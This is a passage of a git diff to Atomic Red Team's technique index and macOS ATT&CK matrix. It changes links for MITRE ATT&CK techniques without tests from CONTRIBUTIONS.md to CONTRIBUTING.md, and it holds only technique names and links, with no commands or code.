Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # command-and-control -- [T1043 Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1092 Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1090 Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1094 Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1024 Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1132 Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1001 Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1172 Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1008 Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1104 Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1188 Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1026 Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1079 Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1219 Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1043 Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1092 Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1090 Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1094 Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1024 Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1132 Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1001 Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1172 Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1008 Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1104 Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1188 Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1026 Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1079 Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1219 Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1105 Remote File Copy](./T1105/T1105.md) - Atomic Test #1: xxxx [linux, macos] -- [T1071 Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1032 Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1095 Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1065 Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1071 Standard Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1032 Standard Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1095 Standard Non-Application Layer Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1065 Uncommonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1102 Web Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # initial-access -- [T1189 Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1190 Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1200 Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1193 Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1192 Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1194 Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1195 Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1199 Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1189 Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1190 Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1200 Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1193 Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1192 Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1194 Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1195 Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1199 Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) # privilege-escalation -- [T1157 Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1068 Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1157 Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1068 Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1160 Launch Daemon](./T1160/T1160.md) - Atomic Test #1: Launch Daemon [macos] - [T1150 Plist Modification](./T1150/T1150.md) @@ -265,8 +265,8 @@ - Atomic Test #1: Setuid and Setgid [macos, centos, ubuntu, linux] - [T1165 Startup Items](./T1165/T1165.md) - Atomic Test #1: Startup Items [macos] -- [T1169 Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1206 Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) +- [T1169 Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1206 Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) diff --git a/atomics/macos-matrix.md b/atomics/macos-matrix.md index 7e179291..44ff39c0 100644 --- a/atomics/macos-matrix.md +++ b/atomics/macos-matrix.md @@ -1,30 +1,30 @@ # macOS Atomic Tests by ATT&CK Tactic & Technique | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| -| [Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [AppleScript](./T1155/T1155.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | [Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | [AppleScript](./T1155/T1155.md) | [Audio Capture](./T1123/T1123.md) | [Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Command-Line Interface](./T1059/T1059.md) | [Browser Extensions](./T1176/T1176.md) | [Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | [Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | [Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Create Account](./T1136/T1136.md) | [Launch Daemon](./T1160/T1160.md) | [Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Credentials in Files](./T1081/T1081.md) | [Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Plist Modification](./T1150/T1150.md) | [Disabling Security Tools](./T1089/T1089.md) | [Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | [Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Launchctl](./T1152/T1152.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | [Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Input Capture](./T1056/T1056.md) | [Network Service Scanning](./T1046/T1046.md) | [Remote File Copy](./T1105/T1105.md) | [Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | [Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Local Job Scheduling](./T1168/T1168.md) | [Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Setuid and Setgid](./T1166/T1166.md) | [File Deletion](./T1107/T1107.md) | [Input Prompt](./T1141/T1141.md) | [Network Share Discovery](./T1135/T1135.md) | [Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [LC_LOAD_DYLIB Addition](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Startup Items](./T1165/T1165.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Keychain](./T1142/T1142.md) | [Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Launch Agent](./T1159/T1159.md) | [Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Space after Filename](./T1151/T1151.md) | [Launch Daemon](./T1160/T1160.md) | [Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Input Capture](./T1056/T1056.md) | [Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Launchctl](./T1152/T1152.md) | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Hidden Users](./T1147/T1147.md) | [Securityd Memory](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Remote System Discovery](./T1018/T1018.md) | | [Screen Capture](./T1113/T1113.md) | | [Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [Trap](./T1154/T1154.md) | [Local Job Scheduling](./T1168/T1168.md) | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Hidden Window](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Security Software Discovery](./T1063/T1063.md) | | [Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | [User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | [Login Item](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [System Information Discovery](./T1082/T1082.md) | | | | [Multiband Communication](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | [Logon Scripts](./T1037/T1037.md) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Network Configuration Discovery](./T1016/T1016.md) | | | | [Multilayer Encryption](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | [Plist Modification](./T1150/T1150.md) | | [Install Root Certificate](./T1130/T1130.md) | | [System Network Connections Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | -| | | [Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [LC_MAIN Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | | [System Owner/User Discovery](./T1033/T1033.md) | | | | [Remote Access Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md) | +| [Drive-by Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [AppleScript](./T1155/T1155.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | [Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | [AppleScript](./T1155/T1155.md) | [Audio Capture](./T1123/T1123.md) | [Automated Exfiltration](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Commonly Used Port](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Exploit Public-Facing Application](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Command-Line Interface](./T1059/T1059.md) | [Browser Extensions](./T1176/T1176.md) | [Exploitation for Privilege Escalation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | [Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Application Deployment Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | [Communication Through Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Hardware Additions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation for Client Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Create Account](./T1136/T1136.md) | [Launch Daemon](./T1160/T1160.md) | [Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Credentials in Files](./T1081/T1081.md) | [Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exploitation of Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | [Connection Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Spearphishing Attachment](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Graphical User Interface](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Plist Modification](./T1150/T1150.md) | [Disabling Security Tools](./T1089/T1089.md) | [Exploitation for Credential Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | [Custom Command and Control Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Spearphishing Link](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Launchctl](./T1152/T1152.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | [Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Input Capture](./T1056/T1056.md) | [Network Service Scanning](./T1046/T1046.md) | [Remote File Copy](./T1105/T1105.md) | [Data from Information Repositories](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | [Custom Cryptographic Protocol](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Spearphishing via Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Local Job Scheduling](./T1168/T1168.md) | [Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Setuid and Setgid](./T1166/T1166.md) | [File Deletion](./T1107/T1107.md) | [Input Prompt](./T1141/T1141.md) | [Network Share Discovery](./T1135/T1135.md) | [Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data from Local System](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Command and Control Channel](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Encoding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Supply Chain Compromise](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Scripting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [LC_LOAD_DYLIB Addition](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Startup Items](./T1165/T1165.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Keychain](./T1142/T1142.md) | [Password Policy Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [SSH Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data from Network Shared Drive](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Other Network Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data Obfuscation](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Trusted Relationship](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Source](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Launch Agent](./T1159/T1159.md) | [Sudo](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Data from Removable Media](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Exfiltration Over Physical Medium](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Domain Fronting](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Space after Filename](./T1151/T1151.md) | [Launch Daemon](./T1160/T1160.md) | [Sudo Caching](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Input Capture](./T1056/T1056.md) | [Scheduled Transfer](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Fallback Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Third-party Software](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Launchctl](./T1152/T1152.md) | [Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hidden Users](./T1147/T1147.md) | [Securityd Memory](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Remote System Discovery](./T1018/T1018.md) | | [Screen Capture](./T1113/T1113.md) | | [Multi-Stage Channels](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [Trap](./T1154/T1154.md) | [Local Job Scheduling](./T1168/T1168.md) | [Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Hidden Window](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Two-Factor Authentication Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Security Software Discovery](./T1063/T1063.md) | | [Video Capture](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Multi-hop Proxy](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | +| | [User Execution](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | [Login Item](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | [Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) | | 